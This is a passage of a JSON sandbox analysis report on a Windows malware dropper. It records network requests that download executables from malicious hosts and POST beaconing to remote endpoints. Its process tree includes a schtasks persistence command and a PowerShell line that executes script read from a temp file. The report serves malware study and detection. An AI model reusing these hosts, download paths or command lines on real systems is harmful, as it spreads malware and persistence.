Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"185.172.128.19","host_ip":"185.172.128.19:80","url":"/ghsdh39s/index.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /ghsdh39s/index.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 185.172.128.19\nContent-Length: 4\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"217.196.98.10","host_ip":"217.196.98.10:80","url":"/tool/1.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /tool/1.exe HTTP/1.1\nHost: 217.196.98.10\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"77.91.124.172","host_ip":"77.91.124.172:3350","url":"/rise.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /rise.exe HTTP/1.1\nHost: 77.91.124.172:3350\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"brusuax.com","host_ip":"93.112.218.34:80","url":"/dl/buildz.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /dl/buildz.exe HTTP/1.1\nHost: brusuax.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"stoon.hitsturbo.com","host_ip":"104.21.46.59:80","url":"/order/tuc5.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /order/tuc5.exe HTTP/1.1\nHost: stoon.hitsturbo.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"ocsp.pki.goog","host_ip":"172.217.12.99:80","url":"/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.pki.goog","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"crl.pki.goog","host_ip":"142.250.191.67:80","url":"/gsr1/gsr1.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gsr1/gsr1.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl.pki.goog","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"ocsp.pki.goog","host_ip":"172.217.12.99:80","url":"/gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFCjJ1PwkYAi7fE%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFCjJ1PwkYAi7fE%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.pki.goog","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"crl.pki.goog","host_ip":"142.250.191.67:80","url":"/gtsr1/gtsr1.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gtsr1/gtsr1.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl.pki.goog","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"needs.hitsturbo.com","host_ip":"172.67.168.30:80","url":"/order/tuc2.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /order/tuc2.exe HTTP/1.1\nHost: needs.hitsturbo.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"crudeleavelegendew.fun","host_ip":"172.67.207.100:80","url":"/api","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36\nContent-Length: 8\nHost: crudeleavelegendew.fun","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"host":"needs.hitsturbo.com","host_ip":"172.67.168.30:80","url":"/order/tuc4.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /order/tuc4.exe HTTP/1.1\nHost: needs.hitsturbo.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}],"processes":[{"pid":4672,"ppid":0,"name":"NewTextDocumentmod.exse.exe","command_line":"","sha256":"2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2","normalized_path":"C:\\NewTextDocumentmod.exse.exe","uid":"00000000-00004672","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":244,"ppid":4672,"name":"spfasiazx.exe","command_line":"","sha256":"fe98cdaacbbe31c9dee59a926693dc719ea9f1839ff62fa6997f5faf32a6a1aa","normalized_path":"C:\\a\\spfasiazx.exe","parent_uid":"00000000-00004672","uid":"00000000-00000244"},{"pid":6536,"ppid":244,"name":"spfasiazx.exe","command_line":"","sha256":"fe98cdaacbbe31c9dee59a926693dc719ea9f1839ff62fa6997f5faf32a6a1aa","normalized_path":"C:\\a\\spfasiazx.exe","parent_uid":"00000000-00000244","uid":"00000000-00006536"},{"pid":928,"ppid":6536,"name":"WerFault.exe","command_line":"-u -p 6536 -s 2600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00006536","uid":"00000000-00000928"},{"pid":6772,"ppid":6536,"name":"WerFault.exe","command_line":"-u -p 6536 -s 2600","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00006536","uid":"00000000-00006772"},{"pid":2560,"ppid":4672,"name":"build3.exe","command_line":"","sha256":"919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226","normalized_path":"C:\\a\\build3.exe","parent_uid":"00000000-00004672","uid":"00000000-00002560"},{"pid":672,"ppid":2560,"name":"schtasks.exe","command_line":"/Create /SC MINUTE /MO 1 /TN build3.exe /TR \"C:\\a\\build3.exe\" /F","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00002560","uid":"00000000-00000672"},{"pid":4944,"ppid":4672,"name":"alex.exe","command_line":"","sha256":"e50bfa53e75f7c54582c2609f3c59db91bb47590a43a49e95e5458a6ae97ad4b","normalized_path":"C:\\a\\alex.exe","parent_uid":"00000000-00004672","uid":"00000000-00004944"},{"pid":428,"ppid":4944,"name":"RegSvcs.exe","command_line":"","sha256":"c09191a1a46b7bfa82e381c5a0cc5fae83787d63f550a8bd6beaf33cc5c0c344","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe","parent_uid":"00000000-00004944","uid":"00000000-00000428"},{"pid":7568,"ppid":428,"name":"WerFault.exe","command_line":"-u -p 428 -s 2356","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00000428","uid":"00000000-00007568"},{"pid":2840,"ppid":428,"name":"WerFault.exe","command_line":"-u -p 428 -s 2356","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00000428","uid":"00000000-00002840"},{"pid":276,"ppid":4672,"name":"wlanext.exe","command_line":"","sha256":"82f300971534143367e928f8df3b520cb497f503deff537e1094118ce3df2982","normalized_path":"C:\\a\\wlanext.exe","parent_uid":"00000000-00004672","uid":"00000000-00000276"},{"pid":3272,"ppid":276,"name":"powershell.exe","command_line":"-windowstyle minimized $fe32 = Get-Content '%TEMP%\\daemonisk\\prvelsens\\noneclectically\\Recife\\Opfindendes\\Perlemoret\\Servitudes\\Margarines.Pos' ; powershell.Exe \"$fe32\"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00000276","uid":"00000000-00003272"},{"pid":2816,"ppid":3272,"name":"powershell.exe","command_line":"$c6","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003272","uid":"00000000-00002816"},{"pid":1896,"ppid":4672,"name":"Kolodi.exe","command_line":"","sha256":"a9ef0a36e9924f9742af01b648d7c89624e1e360716adb8fe7f58a6f28c4865e","normalized_path":"C:\\a\\Kolodi.exe","parent_uid":"00000000-00004672","uid":"00000000-00001896"},{"pid":3960,"ppid":4672,"name":"%E6%B9%96%E5%8D%97%E7%81%AB%E9%BE%99?132HF?.exe","command_line":"","sha256":"0766e2f7ae95b002755d5b37acabd693bcbda1e5fee98da5717fe82eb05f322e","normalized_path":"C:\\a\\%E6%B9%96%E5%8D%97%E7%81%AB%E9%BE%99[132HF].exe","parent_uid":"00000000-00004672","uid":"00000000-00003960"},{"pid":8044,"ppid":4672,"name":"voice5.13sert.exe","command_line":"","sha256":"4ca0434a2c62b0e576e391c53edeeeb1e23ebb50e4e23419ed42995fcc8824a0","normalized_path":"C:\\a\\voice5.13sert.exe","parent_uid":"00000000-00004672","uid":"00000000-00008044"},{"pid":3808,"ppid":8044,"name":"voice5.13sert.exe","command_line":"","sha256":"4ca0434a2c62b0e576e391c53edeeeb1e23ebb50e4e23419ed42995fcc8824a0","normalized_path":"C:\\a\\voice5.13sert.exe","parent_uid":"00000000-00008044","uid":"00000000-00003808"},{"pid":6868,"ppid":4672,"name":"somzx.exe","command_line":"","sha256":"46cbe36431f2a4fb01b369f2278086f216fd0750d87c64e9e1800652b4218777","normalized_path":"C:\\a\\somzx.exe","parent_uid":"00000000-00004672","uid":"00000000-00006868"},{"pid":8172,"ppid":6868,"name":"somzx.exe","command_line":"","sha256":"46cbe36431f2a4fb01b369f2278086f216fd0750d87c64e9e1800652b4218777","normalized_path":"C:\\a\\somzx.exe","parent_uid":"00000000-00006868","uid":"00000000-00008172"},{"pid":4360,"ppid":6868,"name":"somzx.exe","command_line":"","sha256":"46cbe36431f2a4fb01b369f2278086f216fd0750d87c64e9e1800652b4218777","normalized_path":"C:\\a\\somzx.exe","parent_uid":"00000000-00006868","uid":"00000000-00004360"},{"pid":2064,"ppid":6868,"name":"somzx.exe","command_line":"","sha256":"46cbe36431f2a4fb01b369f2278086f216fd0750d87c64e9e1800652b4218777","normalized_path":"C:\\a\\somzx.exe","parent_uid":"00000000-00006868","uid":"00000000-00002064"},{"pid":4544,"ppid":6868,"name":"somzx.exe","command_line":"","sha256":"46cbe36431f2a4fb01b369f2278086f216fd0750d87c64e9e1800652b4218777","normalized_path":"C:\\a\\somzx.exe","parent_uid":"00000000-00006868","uid":"00000000-00004544"},{"pid":6460,"ppid":6868,"name":"somzx.exe","command_line":"","sha256":"46cbe36431f2a4fb01b369f2278086f216fd0750d87c64e9e1800652b4218777","normalized_path":"C:\\a\\somzx.exe","parent_uid":"00000000-00006868","uid":"00000000-00006460"},{"pid":6724,"ppid":4672,"name":"plugmanzx.exe","command_line":"","sha256":"d46b48431b1613da77a297d039ad80844935b1fa40d52f1cb9b4af8e9ebea4da","normalized_path":"C:\\a\\plugmanzx.exe","parent_uid":"00000000-00004672","uid":"00000000-00006724"},{"pid":2712,"ppid":6724,"name":"plugmanzx.exe","command_line":"","sha256":"d46b48431b1613da77a297d039ad80844935b1fa40d52f1cb9b4af8e9ebea4da","normalized_path":"C:\\a\\plugmanzx.exe","parent_uid":"00000000-00006724","uid":"00000000-00002712"},{"pid":8068,"ppid":4672,"name":"lve5.exe","command_line":"","sha256":"f9a0484222a37b48f410a2a1b6cfc204d0c6a3f722ca69aa0773c2c4f67bea35","normalized_path":"C:\\a\\lve5.exe","parent_uid":"00000000-00004672","uid":"00000000-00008068"},{"pid":6980,"ppid":4672,"name":"lve.exe","command_line":"","sha256":"f9a0484222a37b48f410a2a1b6cfc204d0c6a3f722ca69aa0773c2c4f67bea35","normalized_path":"C:\\a\\lve.exe","parent_uid":"00000000-00004672","uid":"00000000-00006980"},{"pid":3764,"ppid":4672,"name":"1.exe","command_line":"","sha256":"c6930d431982ea0094f33313a2d2c373fb169478d3d17cae706012620d679242","normalized_path":"C:\\a\\1.exe","parent_uid":"00000000-00004672","uid":"00000000-00003764"},{"pid":7960,"ppid":4672,"name":"rise.exe","command_line":"","sha256":"52cd8aacbd2dac1591538990baf769685c4a6abc7f9f60d1acf3fddbbd4fe4c8","normalized_path":"C:\\a\\rise.exe","parent_uid":"00000000-00004672","uid":"00000000-00007960"},{"pid":5736,"ppid":4672,"name":"TierDiagnosis.exe","command_line":"","sha256":"c2ae169495738288c01df97f582da3db67e4f4d4514be563a7e2cbc069b76448","normalized_path":"C:\\a\\TierDiagnosis.exe","parent_uid":"00000000-00004672","uid":"00000000-00005736"},{"pid":5200,"ppid":5736,"name":"cmd.exe","command_line":"cmd /k cmd < Bathrooms & exit","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00005736","uid":"00000000-00005200"},{"pid":2496,"ppid":5200,"name":"cmd.exe","command_line":"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00005200","uid":"00000000-00002496"},{"pid":5876,"ppid":4672,"name":"tuc7.exe","command_line":"","sha256":"0a22c767fc59bb8969685d15d538b32ae9372018fdb20d2f9ea8799749f628ce","normalized_path":"C:\\a\\tuc7.exe","parent_uid":"00000000-00004672","uid":"00000000-00005876"},{"pid":5412,"ppid":5876,"name":"tuc7.tmp","command_line":"/SL5=\"$A0346,8419750,54272,C:\\a\\tuc7.exe\"","sha256":"a0991507c9da2c3e21dda334920fc6c36a7fa1595d4c865c6c200c05128f2efe","normalized_path":"%TEMP%\\is-URFTM.tmp\\tuc7.tmp","parent_uid":"00000000-00005876","uid":"00000000-00005412"},{"pid":7804,"ppid":5412,"name":"net.exe","command_line":"helpmsg 20","sha256":"08f791037fd70209fd599c4f35088a7332dadfa6be92d073c243c5cc79fefe66","normalized_path":"%WINDIR%\\SysWOW64\\net.exe","parent_uid":"00000000-00005412","uid":"00000000-00007804"},{"pid":2656,"ppid":7804,"name":"net1.exe","command_line":"%WINDIR%\\system32\\net1 helpmsg 20","sha256":"524061b58841210842f52b7863e51953fcff343b8c2ff46dfe9c8329bb439d46","normalized_path":"%WINDIR%\\SysWOW64\\net1.exe","parent_uid":"00000000-00007804","uid":"00000000-00002656"},{"pid":7716,"ppid":5412,"name":"vbmail.exe","command_line":"-i","sha256":"3526d9ba520abaebf98e8549a79df21e474422bdcfe707a74fe6a2946c99f424","normalized_path":"%PROGRAMFILES%\\(x86)\\VBMailAgent\\vbmail.exe","parent_uid":"00000000-00005412","uid":"00000000-00007716"},{"pid":7264,"ppid":7716,"name":"WerFault.exe","command_line":"-u -p 7716 -s 556","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00007716","uid":"00000000-00007264"},{"pid":7504,"ppid":7716,"name":"WerFault.exe","command_line":"-u -p 7716 -s 556","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00007716","uid":"00000000-00007504"},{"pid":6932,"ppid":5412,"name":"vbmail.exe","command_line":"-s","sha256":"3526d9ba520abaebf98e8549a79df21e474422bdcfe707a74fe6a2946c99f424","normalized_path":"%PROGRAMFILES%\\(x86)\\VBMailAgent\\vbmail.exe","parent_uid":"00000000-00005412","uid":"00000000-00006932"},{"pid":6392,"ppid":4672,"name":"tuc5.exe","command_line":"","sha256":"10472c1aac58e3be0837b48cf81c7732074620cea2cf530c8a987592e048d98f","normalized_path":"C:\\a\\tuc5.exe","parent_uid":"00000000-00004672","uid":"00000000-00006392"},{"pid":6092,"ppid":6392,"name":"tuc5.tmp","command_line":"/SL5=\"$B0334,8669328,54272,C:\\a\\tuc5.exe\"","sha256":"a0991507c9da2c3e21dda334920fc6c36a7fa1595d4c865c6c200c05128f2efe","normalized_path":"%TEMP%\\is-U2A45.tmp\\tuc5.tmp","parent_uid":"00000000-00006392","uid":"00000000-00006092"},{"pid":188,"ppid":0,"name":"build3.exe","command_line":"","sha256":"919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226","normalized_path":"C:\\a\\build3.exe","uid":"00000000-00000188","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":3836,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 456 -p 6536 -ip 6536","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00003836","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7528,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 496 -p 428 -ip 428","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007528","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4668,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 448 -p 7716 -ip 7716","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00004668","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7776,"ppid":0,"name":"build3.exe","command_line":"","sha256":"919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226","normalized_path":"C:\\a\\build3.exe","uid":"00000000-00007776","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["rasman.dll","VxSSL64.dll","virtdisk.dll","ntdll.dll","urlmon.dll","wow64.dll","comdlg32.dll","GdiPlus.dll","pcacli.dll","pnrpnsp.dll","clrjit.dll","rasapi32.dll","dhcpcsvc6.dll","wintrust.dll","gdi32full.dll","advapi32.dll","sechost.dll","mscorlib.ni.dll","bcryptprimitives.dll","Microsoft.VisualBasic.ni.dll","ServicingCommon.dll","shlwapi.dll","wow64base.dll","globinputhost.dll","kernel32.dll","msctf.dll","bcrypt.dll","IPHLPAPI.DLL","samcli.dll","Windows.Globalization.dll","clr.dll","gdi32.dll","msvcrt.dll","System.Xml.ni.dll","iertutil.dll","AppResolver.dll","feclient.dll","winmm.dll","psapi.dll","prxyqry.dll","winnsi.dll","ulib.dll","dpapi.dll","msvcp_win.dll","userenv.dll","cmdext.dll","user32.dll","vcruntime140_clr0400.dll","FWPUCLNT.DLL","msimg32.dll","ntmarta.dll","ucrtbase_clr0400.dll","System.Core.ni.dll","ncryptsslp.dll","Windows.StateRepositoryPS.dll","wldp.dll","dwmapi.dll","msftedit.dll","SHCore.dll","rsaenh.dll","cryptbase.dll","ncrypt.dll","wow64cpu.dll","apphelp.dll","cryptsp.dll","propsys.dll","clbcatq.dll","TextInputFramework.dll","ole32.dll","kernel.appcore.dll","windows.storage.dll","netutils.dll","VxSSL32.dll","nlansp_c.dll","rtutils.dll","win32u.dll","nsi.dll","schannel.dll","ws2_32.dll","fltLib.dll","uxtheme.dll","System.ni.dll","BCP47Langs.dll","advpack.dll","wow64con.dll","mscoree.dll","mpr.dll","NapiNSP.dll","winrnr.dll","version.dll","System.Configuration.ni.dll","profapi.dll","msasn1.dll","AcLayers.dll","ntvdm64.dll","CoreMessaging.dll","vcruntime140_1_clr0400.dll","gpapi.dll","OneCoreUAPCommonProxyStub.dll","TextShaping.dll","fsutilext.dll","netapi32.dll","crypt32.dll","sfc_os.dll","wininet.dll","ucrtbase.dll","oleaut32.dll","rpcrt4.dll","combase.dll","mscoreei.dll","winhttp.dll","ntasn1.dll","setupapi.dll","oleacc.dll","KernelBase.dll","dhcpcsvc.dll","wow64win.dll","OnDemandConnRouteHelper.dll","dnsapi.dll","comctl32.dll","wshbth.dll","shell32.dll","WinTypes.dll","rasadhlp.dll","cfgmgr32.dll","edputil.dll","srvcli.dll","CoreUIComponents.dll","cabinet.dll","imm32.dll","secur32.dll","lua5.3.dll","mswsock.dll","sspicli.dll","oledlg.dll","imagehlp.dll","atl.dll","System.Runtime.Serialization.ni.dll","msisip.dll","AppxSip.dll","Microsoft.PowerShell.Commands.Management.dll","DWrite.dll","amsi.dll","taskschd.dll","usp10.dll","System.Security.dll","wshext.dll","aepic.dll","WindowsCodecs.dll","System.ServiceModel.dll","System.Web.dll","msIso.dll","PresentationCore.ni.dll","SMDiagnostics.dll","Microsoft.VisualBasic.dll","shfolder.dll","pwrshsip.dll","wbemcomn.dll","wpfgfx_v0400.dll","RstrtMgr.dll","wmiutils.dll","System.ServiceModel.Internals.dll","wbemsvc.dll","System.Numerics.dll","System.Configuration.Install.dll","System.Data.dll","System.DirectoryServices.dll","System.ServiceProcess.dll","MpOAV.dll","webengine4.dll","MpClient.dll","slc.dll","Microsoft.Management.Infrastructure.ni.dll","WindowsBase.ni.dll","fastprox.dll","Microsoft.PowerShell.ConsoleHost.dll","System.IdentityModel.dll","Microsoft.PowerShell.Security.dll","cryptnet.dll","System.Windows.Forms.dll","msls31.dll","System.Management.dll","wbemprox.dll","OpcServices.dll","System.Drawing.dll","diasymreader.dll","PresentationNative_v0400.dll","System.Web.Extensions.dll","Accessibility.dll","System.Transactions.dll","sppc.dll","xmllite.dll","vaultcli.dll","WMINet_Utils.dll","coml2.dll","cldapi.dll","powrprof.dll","System.Management.Automation.dll","PresentationFramework.ni.dll","riched20.dll","msvcp140_clr0400.dll","mskeyprotect.dll","api-ms-win-downlevel-user32-l1-1-0.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","Wldap32.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","System.Management.ni.dll","nlaapi.dll","credssp.dll","npmproxy.dll","avifil32.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","SensApi.dll","api-ms-win-downlevel-version-l1-1-0.dll","ntdsapi.dll","lpk.dll","api-ms-win-core-xstate-l2-1-0.dll","oleaccrc.dll","imageres.dll","System.Drawing.ni.dll","tiptsf.dll","System.Windows.Forms.ni.dll","netprofm.dll","netmsg.dll","devobj.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","_iscrypt.dll","nlssorting.dll","wship6.dll","cscapi.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","devrtl.dll","ktmw32.dll","msacm32.dll","WSHTCPIP.DLL","normaliz.dll","aspnet_rc.dll","mscorwks.dll","shdocvw.dll","ntshrui.dll","linkinfo.dll","RpcRtRemote.dll","mscorrc.dll","wshqos.dll","msvcr80.dll","_shfoldr.dll","rpcss.dll","webio.dll","ieframe.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","msvfw32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Setup.e